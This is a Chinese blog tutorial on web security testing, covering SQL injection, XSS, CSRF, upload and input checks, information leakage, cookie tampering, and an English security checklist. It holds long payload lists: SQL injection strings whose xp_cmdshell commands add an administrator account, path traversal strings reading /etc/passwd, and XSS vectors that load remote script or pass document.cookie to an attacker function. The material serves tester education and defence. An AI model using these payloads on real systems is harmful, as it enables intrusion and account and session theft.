安全测试是在IT软件产品的生命周期中,特别是产品开发基本完成到发布阶段,对产品进行检验以验证产品符合安全需求定义和产品质量标准的过程.

主要安全需求包括:

(i) 认证 Authentication: Is the information sent from an authenticated user?
(ii) 访问控制 Access Control: Is data protected from unauthorized users?
(iii) 完整性 Integrity: Does the user receive exactly what is sent?
(iv) 机密性 Delivery: Is the information delivered to the intended user?
(v) 可靠性Reliability: What is the frequency of a failure? How much time does the network take to recover from a failure? What measures are taken to counter catastrophic failure?
(vi) 不可抵赖 Non-repudiation: Is the receiver able to prove that the data received came from a specific sender?

常见的安全威胁,如下图

 

对于CSRF、越权访问、文件上传、修改密码 等漏洞,难以实现自动化检测的效果,这是因为这些漏洞涉及系统逻辑或业务逻辑,有时候还需要人机交互参与页面流程,因此 这类漏洞的检测更多的需要依靠手动测试完成。
 
手工检测网站URL、后台登陆是否具有SQL注入

就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

这种范例向您展示了怎样使用 SQL 注入来耗尽一个结构糟糕的登录应用程序:
一个网络应用程序会催促您输入一个用户名和密码来进行登录,而 SQL 语句是按照下面的方式组织的:

String query = "SELECT * FROM users WHERE user ='"username+"' AND password ='"passwd"'";

变量 username 以及 password 没有得到细致的处理,并分配给用户在应用程序中输入的值。这就使得一些恶意的用户可以输入 username 之类的值:

anything' OR 1=1 --

密码可以是任意值。在这种情况下,假设它是一个星号:*。

对于输入来说,当代码替换 username 以及 password 变量时,结构化的查询是:

SELECT * FROM users WHERE username ='anything' OR 1=1 -- AND password ='*'

该语句解释了密码需求,并插入状况 1=1,这条语句的值一直都是真的。就算没有相关的权限,攻击者也会被确认为一个有效的用户。

其它还有

Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)

Cross-site scritping(XSS):(跨站点脚本攻击)

在这种一般的攻击中,恶意代码会植入到第三方的受信网站之中。如果 HTTP 请求可以将其注入到最终 HTML 页面上的话,那么跨站点脚本漏洞就向这种攻击开放了。

例如,一项服务会接受名为 image 的参数,来接受来自于文件系统的图片,来执行一些处理:

http://somedomain/myImageProcessor?image=myimage.jpg

一个入侵者可以通过向 image 参数插入 JavaScript 代码,来占用该应用程序。其意图是耗尽错误处理系统的资源。如果一个包含恶意脚本的出错信息会被生成的话,那么入侵者就可以利用这一点了:

http://somedomain/myImageProcessor?image=myimage.jpg<script>...malicious code ...</script>

如果出错信息返回图片参数的内容,而不用筛选的话,那么代码就会封闭到 <script> 标签内。脚本有可能访问本地缓存,以攻击网页,甚至更改预呈现页面的内容。通过电子邮件发送恶意链接,或者将它们加入到恶意网页上,就可以利用这些网络漏洞了。

对于get请求的URL一般漏洞扫描软件都可扫描到是否存在XSS漏洞。

(1)如何进行XSS测试?

  • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如 登录页面,搜索页面,提交评论,发表留言 页面等等。
  • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

<scrīpt>alert(document.cookie)</scrīpt>

注:其它的XSS测试语句

><scrīpt>alert(document.cookie)</scrīpt>

='><scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(vulnerable)</scrīpt>

%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E

<scrīpt>alert('XSS')</scrīpt>

<img src="javascrīpt:alert('XSS')">

%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp

%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e

%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini

%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e

%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e

%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html

%3f.jsp

%3f.jsp

&lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt

<scrīpt>alert('Vulnerable')</scrīpt>

?sql_debug=1

a%5c.aspx

a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>

a/

a?<scrīpt>alert('Vulnerable')</scrīpt>

"><scrīpt>alert('Vulnerable')</scrīpt>

';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&

%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E

%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&

%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=

1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=

../../../../../../../../etc/passwd

..\..\..\..\..\..\..\..\windows\system.ini

\..\..\..\..\..\..\..\..\windows\system.ini

'';!--"<XSS>=&{()}

<IMG SRC="javascrīpt:alert('XSS');">

<IMG SRC=javascrīpt:alert('XSS')>

<IMG SRC=javascrīpt:alert('XSS')>

<IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>

<IMG SRC=javascrīpt:alert('XSS')>

<IMG SRC=javascrīpt:alert('XSS')>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out

<IMG SRC=" javascrīpt:alert('XSS');">

<scrīpt>a=/XSS/alert(a.source)</scrīpt>

<BODY BACKGROUND="javascrīpt:alert('XSS')">

<BODY ōNLOAD=alert('XSS')>

<IMG DYNSRC="javascrīpt:alert('XSS')">

<IMG LOWSRC="javascrīpt:alert('XSS')">

<BGSOUND SRC="javascrīpt:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">

<IMG SRC='vbscrīpt:msgbox("XSS")'>

<IMG SRC="mocha:[code]">

<IMG SRC="livescrīpt:[code]">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">

<IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>

<FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascrīpt:alert('XSS')">

<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>

<STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>

<STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>

<BASE HREF="javascrīpt:alert('XSS');//">

getURL("javascrīpt:alert('XSS')")

a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);

<XML SRC="javascrīpt:alert('XSS');">

"> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"

<scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>

<IMG SRC="javascrīpt:alert('XSS')"

<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

  • 最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
  • 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被 攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。

  (2) 如何预防XSS漏洞?

从应用程序的角度来讲,要进行以下几项预防:

  • 对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 语句或脚本进行转义.
  • 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关键性的处理操作.

从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:

  • 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
  • 执行测试过程中也应对上述项进行检查。

对于POST/GET 的请求,就是要在输入框输入的情况,则要进行以下测试:

 ★~!@#$%^&*()_+<>,./?;'"[]{}\-
 ★%3Cinput /%3E
 ★%3Cscript%3Ealert('XSS')%3C/script%3E
 ★<input type="text"/>
 ★<input/>
 ★<input/
 ★<script>alert('xss')</script>
 ★<script>alert('xss');</script>
 ★</script><script>alert(‘xss’)</script>
 ★javascript:alert(/xss/)
 ★javascript:alert(/xss/)
 ★<img src="#" onerror=alert(/xss/)>
 ★<img src="#" style="Xss:expression(alert(/xss/));">
 ★<img src="#"/**/onerror=alert(/xss/) width=100>
 ★=’><script>alert(document.cookie)</script>
 ★1.jpg" onmouseover="alert('xss')
 ★"></a><script>alert(‘xss’);</script>
 ★http://xxx';alert('xss');var/ a='a
 ★’”>xss&<
 ★"onmouseover=alert('hello');"
 ★&{alert('hello');}
★>"'><script>alert(‘XSS')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
 ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
 ★<!--'">&:
  var from = ‘$!rundata.Parameters.getString(’from’)';
  var from = ”;hackerFunction(document.cookie);”;

 

CSRF:(跨站点伪造请求)

    CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。

    XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

    XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES(关于SESSION 和COOKIES的介绍

http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),

   (1)如何进行CSRF测试?

    关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。

   (2)如何预防CSRF漏洞?

关于上传

1.上传文件是否有格式限制,是否可以上传exe文件;

2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;

3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;

4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。

6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符,特殊字符等的文件上传。

下载:

避免输入:\..\web.

修改命名后缀。

输入验证

客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)

1.输入很大的数(如4,294,967,269),输入很小的数(负数)

2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|

4.输入中英文空格,输入字符串中间含空格,输入首尾空格

5.输入特殊字符串NULL,null,0x0d 0x0a

6.输入正常字符串

7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字

8.输入html和javascript代码

9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

例如:

1.输入<html”>”gfhd</html>,看是否出错;
2.输入<input type=”text” name=”user” onclick="alert(1)"/>,看是否出现文本框;
3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
4.输入”><script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
5.输入 ”><script><” 看是否出现代码溢出
 

页面权限泄露

测试在不登陆的情况下是否可以访问到后台的页面,这个只要把后台的目录的URL全部浏览一遍即可

关于任意文件下载

查看上传的图片文件是否可以删除,如果可以删除,查看删除的URL里面的参数是否可以修改

信息泄露

一个有意志的攻击者可以通过识别缺点来研究一项应用程序。例如,一个攻击者可以按照不同的方式来获取信息:

  • 手动研究应用程序以做到隐藏的目录
  • 系统性地收集例外情况,以查看应用程序是否给出了详细的例外情况
  • 扫描 HTML 以得到揭示应用程序基础及行为具体内容的注释
  • 系统性地输入用户名以找出已存在的账户

对于应用程序来说,信息泄漏需要受到人们的重视,开发人员的意识是最好的防御手段。记住这一点,开发人员可以考虑一些减轻问题的措施。

  • 所有评论的清晰 HTML 代码会揭示应用程序的实际情况。
  • 不要在浏览器中显示特定的例外。如果必须登录,将它们存储在服务器上,并显示常见的错误。
  • 不要揭示哪一部分的认证错误。
  • 同样,配置网络服务器和应用程序服务器设置,以避免在网站和应用程序上任意的导航。

cookie 破坏

所谓的 cookie(缓存)就是服务器向客户端发送的信息,作为关键字/值对存储在一个文本文件或者内存之中。它的内容可以被创建该内容的网络应用程序使用。在执行一次网络应用程序之后编辑缓存的内容,缓存 破坏 攻击就发生了。

反制措施

  • cookie 破坏的反制措施包括参数认证,以及应用程序代码和逻辑的仔细检查。
  • 高级安全性机制也可以得到应用。

    • 一种常见的方法是使用数字签名,来确认文本文件存储没有受到篡改。
    • 另一种反制措施是在传递期间将其加密,以保护缓存。

 

Security testing checklist 核对表

认证,访问控制和隐私  Authentication, Access Control and privacy

1. Are unauthorized users restricted from viewing privatedata?

2. Is sensitive organization information restricted from public access?

3. Are users aware of the privacy polices?

4. Are legal consequences of policies known to the user?

5. Are authentication mechanisms adequate to prevent malicious intrusion to the application?

6. Does the web application ask for login id and password?

7. Does the web server lock the users who try to access the website multiple times with invalid login ids/passwords?

8. Have you tested the combinations of invalid and validlogin ids/passwords?

9. Is there any provision for forget/change password?

10.Are levels of authentication defined?

防火墙 Firewall

11. Does the firewall properly implement all the security policies of the company?

12. Are firewalls’ adequacy tested?

13. Is the ‘security in charge’ aware of the known faults in the

14. Is the location of the firewall effective?

15. Is any penetration possible in the security boundaries

数据安全 Data Security

16. Are the data validations tested?

17. Is sensitive information (such as password, credit card

18. Are privileges to access data enforced?

19. Are file download permissions established and tested?

20. Is sensitive and important data kept at secure locations?

加密 Encryption

21. Are encryption standards enforced?

22. Is there any procedure followed to identify what is to be encrypted?

23. Is sensitive and critical information (such as password,

24. Is Security Socket Layer (SSL) used to provide encryption of sensitive elements?

25. Does the enforcement of encryption standard affect the speed of the web page?

病毒 Virus

26. Are mechanisms used to identify and remove viruses?

27. Are anti-virus softwares scheduled for periodical updates?

28. Does the anti-virus software identify the unprotected sites?

29. Are viruses sent for analysis to the anti-virus software company?

30. Are users trained for virus prevention and recovery procedures?

31. Is the procedure for handling a virus attack adequate?

32. Are users alerted from downloading insecure items?

33. Is legitimate anti-virus software installed on the client’s machine?

34. Is virus scan scheduled periodically?

35. Is spyware removal software installed and run periodically?

故障管理与恢复 Failure Management and Recovery

36.Are back-ups schedules at defined intervals?

37. Does the recovery take a long time?

38. In case of site crash, is there any provision to route to another server?

39.Have recovery mechanisms been defined and tested

40. Is any criteria followed to ensure the completion and correction of recovery procedures?

常规 General

41. Are any warning messages issued when the user enters or leaves the secured website?

42. Is the user allowed to login with the same account from different machines (simultaneously)?

43. Are unauthorized external sites identified and screened out?

44. Can the previous page be accessed after signing out from the website?

45. Is the user able to access restricted pages after the session is timed out?

46. Is auditing performed periodically in order to keep a record of all the operations?

47. Are all payment methods tested thoroughly?

48. Are enough security mechanisms enforced, if customer registration is compulsory on your website?

49. Does the application use digital signature to sign a files?

50. Does the source code reveal any critical information?

 


由于篇幅有限,今天先到这儿,希望对您软件质量管理有帮助。 其它您可能感兴趣的文章:

Web测试介绍一 UI测试

软件测试流程参考一

十个免费Web UI测试工具

互联网数据库架构设计思路

企业级应用架构模式N-Tier多层架构

某企业社交应用网络拓扑架构图

IT基础架构规划方案一(网络系统规划)

餐饮连锁公司IT信息化解决方案一

REST服务介绍

企业服务总线Enterprise service bus介绍

如有想了解更多软件研发 , 系统 IT集成 , 企业信息化,项目管理 等资讯,请关注我的微信订阅号:

 

作者:Petter Liu

出处:http://www.cnblogs.com/wintersun/

本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

该文章也同时发布在我的独立博客中-Petter Liu Blog

Web测试介绍2一 安全测试的更多相关文章

  1. OTA测试介绍

    OTA 测试介绍 手机的无源测试和有源测试 当前在手机射频性能测试中越来越关注整机辐射性能的测试,这种辐射性能反映了手目前主要有两种方法对手机的辐射性能进行考察:一种是从天线是目前较为传统的天线测试方 ...

  2. asp.net web api 测试帮助页面建立并测试

    asp.net web api 测试帮助页面建立并测试 现在使用WEB API来开发,越来越流行. 在开发过程中的测试调试,可以使用Fiddler等工具来帮助测试外,还有: 在asp.net 中有种方 ...

  3. [原创]浅谈H5页面测试介绍

    [原创]浅谈H5页面测试介绍 目前移动互联网非常火热,除了各种App,H5也是非常热,由于H5跨平台,且版本更新容易,做为引流或获客是非常好的一种简单低成本平台:今天来谈谈H5页面测试都要测试什么? ...

  4. Web前端页面的浏览器兼容性测试心得(二)搭建原汁原味的IE8测试环境

    如果你做的页面被老板或PM要求兼容IE8,你就值得同情了.IE8不支持HTML5,在2017年的前端界,开发者不涉及HTML5标准简直寸步难行.然而,有一个可怕的事实客观存在,那就是IE8是Win7系 ...

  5. Web 2.0 浏览器端可靠性测试第1部分(浏览器端可靠性测试的概念和背景)

    Web 2.0 是一个体现当代网络技术发展趋势的流行概念.它使得基于 Web 的信息交互和用户间协作性更加灵活和丰富.很多的社交网站.博客.wiki,都是 Web 2.0 技术的典型应用. 我们知道, ...

  6. Web 2.0 浏览器端可靠性测试第2部分(如何发现和分析 Web 2.0 浏览器端的内存泄漏)

    介绍浏览器端的可靠性测试 在上一编文章中我们介绍了浏览器端可靠性测试的概念.测试方法.以及常用的测试和分析工具.我们知道,浏览器端可靠性测试,就是以浏览器为测试平台,通过模拟用户在真实场景下的页面操作 ...

  7. Android Monkey 压力测试 介绍

    Monkey 是Android SDK提供的一个命令行工具, 可以简单,方便地运行在任何版本的Android模拟器和实体设备上. Monkey会发送伪随机的用户事件流,适合对app做压力测试 阅读目录 ...

  8. modern.IE – Web 开发必备的 IE 浏览器测试工具

    modern.IE 是微软推出的一个开发人员中心,提供免费的工具和资源,旨在使您能够花更少的时间来测试各种版本的 Internet Explorer,并留出更多时间在现代 Web 上构建重要的内容.m ...

  9. 上海洋码头(www.ymatou.com)急招技术人才(职位:互联网软件开发工程师,.NET网站架构师,Web前端开发工程师,高级测试工程师,产品经理)

    对公司招聘职位有兴趣的童鞋可以把简历发送到zhangzhiqiang@ymatou.com,我们HR会快速给你答复. 互联网软件开发工程师 岗位职责: 1.参与洋码头各个平台(www.ymatou.c ...

随机推荐

  1. ThinkPHP 模板substr的截取字符串函数

    ThinkPHP 模板substr的截取字符串函数在Common/function.php加上以下代码 /** ** 截取中文字符串 **/ function msubstr($str, $start ...

  2. 记录一次bug解决过程:数据迁移

    一 总结 不擅长语言表达,勤于沟通,多锻炼 调试MyBatis中SQL语法:foreach 问题:缺少关键字VALUES.很遗憾:它的错误报的让人找不着北. 二 BUG描述:MyBatis中批量插入数 ...

  3. [Android]使用Dagger 2来构建UserScope(翻译)

    以下内容为原创,欢迎转载,转载请注明 来自天天博客:http://www.cnblogs.com/tiantianbyconan/p/6237731.html 使用Dagger 2来构建UserSco ...

  4. 我的MYSQL学习心得(十六) 优化

    我的MYSQL学习心得(十六) 优化 我的MYSQL学习心得(一) 简单语法 我的MYSQL学习心得(二) 数据类型宽度 我的MYSQL学习心得(三) 查看字段长度 我的MYSQL学习心得(四) 数据 ...

  5. XSS 前端防火墙 —— 整装待发

    到目前为止,我们把能用前端脚本防御 XSS 的方案都列举了一遍. 尽管看起来似乎很复杂累赘,不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程 ...

  6. Mono+Jexus让C#运行在Linux(centos7_x64),学习笔记

    .h2cls { background: #6fa833 none repeat scroll 0 0 !important; color: #fff; font-family: "微软雅黑 ...

  7. 使用“Cocos引擎”创建的cpp工程如何在VS中调试Cocos2d-x源码

    前段时间Cocos2d-x更新了一个Cocos引擎,这是一个集合源码,IDE,Studio这一家老小的整合包,我们可以使用这个Cocos引擎来创建我们的项目. 在Cocos2d-x被整合到Cocos引 ...

  8. 简述 OAuth 2.0 的运作流程

    本文将以用户使用 github 登录网站留言为例,简述 OAuth 2.0 的运作流程. 假如我有一个网站,你是我网站上的访客,看了文章想留言表示「朕已阅」,留言时发现有这个网站的帐号才能够留言,此时 ...

  9. Html5下拉控件同时支持文本输入和下拉代码

    有时候,下拉框不能满足我们的业务需求,还需要同时支持用户输入内容,默认的select标签是不支持用户输入的,下面我说一下原生的select如何支持用户输入,代码如下: <!DOCTYPE htm ...

  10. Entity Framework 6 Recipes 2nd Edition(9-5)译->删除一个断开的实体

    9-5. 删除一个断开的实体 问题 我们要把一个把WCF上取回的对象做上删除的标志. 解决方案 假设我们有如Figure 9-5所示实体的支付与票据的模型. Figure 9-5. 一个支付与票据的模 ...